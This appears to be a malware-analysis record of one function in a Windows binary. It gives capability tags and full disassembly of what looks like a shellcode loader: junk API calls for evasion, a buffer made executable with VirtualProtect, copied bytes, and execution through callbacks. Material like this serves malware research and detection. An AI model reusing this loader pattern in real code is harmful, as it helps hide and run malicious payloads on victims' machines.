Function at 0x4037c6
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk information
Move file
Read file on windows
Terminate thread

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1834
call fcn.0040c500
push ebx
push esi
xor esi, esi
cmp dword [0x631120], 0x5b1
push edi
jne 0x403884
push esi
lea eax, [ebp - 0x830]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push esi
push esi
call dword [sym.imp.USER32.dll_ChangeDisplaySettingsA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
push esi
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
push 0x402f34
push esi
call fcn.0040421f
push esi
call fcn.004047bd
add esp, 0xc
push esi
push esi
push esi
push esi
call fcn.004044d6
pop ecx
pop ecx
mov eax, esp
mov dword [eax], esi
push ecx
mov dword [eax + 4], esi
push ecx
mov eax, esp
mov dword [eax], esi
mov dword [eax + 4], esi
call fcn.004034a0
fstp st(0)
push esi
call fcn.00404012
pop ecx
push esi
push esi
call fcn.0040457a
push esi
call fcn.00404144
pop ecx
pop ecx
mov dword [esp], esi
call fcn.004034d3
fstp st(0)
push esi
call fcn.00404144
pop ecx
call fcn.0040482b
add dword [0x631120], 0x1134b
push dword [0x631120]
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [ebp - 0x14]
push ecx
push 0x40
push dword [0x631120]
mov dword [0x630074], eax
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edi, edi
cmp dword [0x631120], esi
jbe 0x40390e
cmp dword [0x631120], 0xa8
mov eax, dword [0x631124]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x630074]
mov byte [ecx + edi], al
jne 0x403905
push esi
lea eax, [ebp - 0xc30]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push esi
lea eax, [ebp - 0x430]
push eax
push 0x402f3c
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
inc edi
cmp edi, dword [0x631120]
jb 0x4038bd
mov ebx, dword [sym.imp.USER32.dll_LoadMenuA]
mov dword [ebp - 4], esi
mov eax, dword [0x631120]
mov ecx, dword [ebp - 4]
add eax, ecx
cmp eax, 0xe
jne 0x403a07
push esi
call dword [sym.imp.KERNEL32.dll_RemoveVectoredExceptionHandler]
push 0x402f60
push 0x403030
push 0x403084
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileSectionW]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_MoveFileWithProgressW]
push esi
lea eax, [ebp - 8]
push eax
push esi
lea eax, [ebp - 0x430]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
push 0x4030c0
push esi
call ebx
push esi
lea eax, [ebp - 0x1030]
push eax
call dword [sym.imp.USER32.dll_CharUpperBuffW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
push esi
push esi
call dword [sym.imp.USER32.dll_SetMenu]
push 0x4030cc
push esi
call dword [sym.imp.USER32.dll_LoadBitmapA]
push dword [ebp - 8]
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
lea eax, [ebp - 0xc]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeA]
xor eax, eax
mov word [ebp - 0x24], ax
lea edi, [ebp - 0x22]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push esi
stosw word es:[edi], ax
lea eax, [ebp - 0x1830]
push eax
push 0x4030d8
lea eax, [ebp - 0x24]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetDateFormatW]
call dword [sym.imp.KERNEL32.dll_GetACP]
push esi
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push 0x4031b0
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreW]
inc dword [ebp - 4]
cmp dword [ebp - 4], 0x39621
jl 0x403917
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
mov dword [ebp - 4], esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetCommMask]
push esi
call edi
push esi
call dword [sym.imp.KERNEL32.dll_DebugActiveProcess]
cmp dword [ebp - 4], 0x206d47
jg 0x403a47
inc dword [ebp - 4]
cmp dword [ebp - 4], 0x4f6a4
jl 0x403a20
mov dword [ebp - 4], 0x4e320c
push esi
push esi
call ebx
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_CharToOemBuffW]
call dword [sym.imp.USER32.dll_GetMessagePos]
dec dword [ebp - 4]
jne 0x403a4e
call fcn.004036e5
xor ebx, ebx
push esi
call edi
cmp ebx, 0x26
jne 0x403a7a
call fcn.004037ac
inc ebx
cmp ebx, 0x6753f
jl 0x403a6d
push 0x7b
pop edi
cmp dword [0x631120], 0x86
jne 0x403ad6
push esi
lea eax, [ebp - 0x1830]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextVolumeW]
push 0x40318c
push esi
call dword [sym.imp.KERNEL32.dll_SetVolumeLabelA]
push esi
call dword [sym.imp.KERNEL32.dll_GetFileType]
push esi
push esi
push 0x403268
push esi
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
push 0x403290
call dword [sym.imp.KERNEL32.dll_AddAtomW]
dec edi
jne 0x403a86
push 0x403340
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
pop edi
pop esi
pop ebx
leave
ret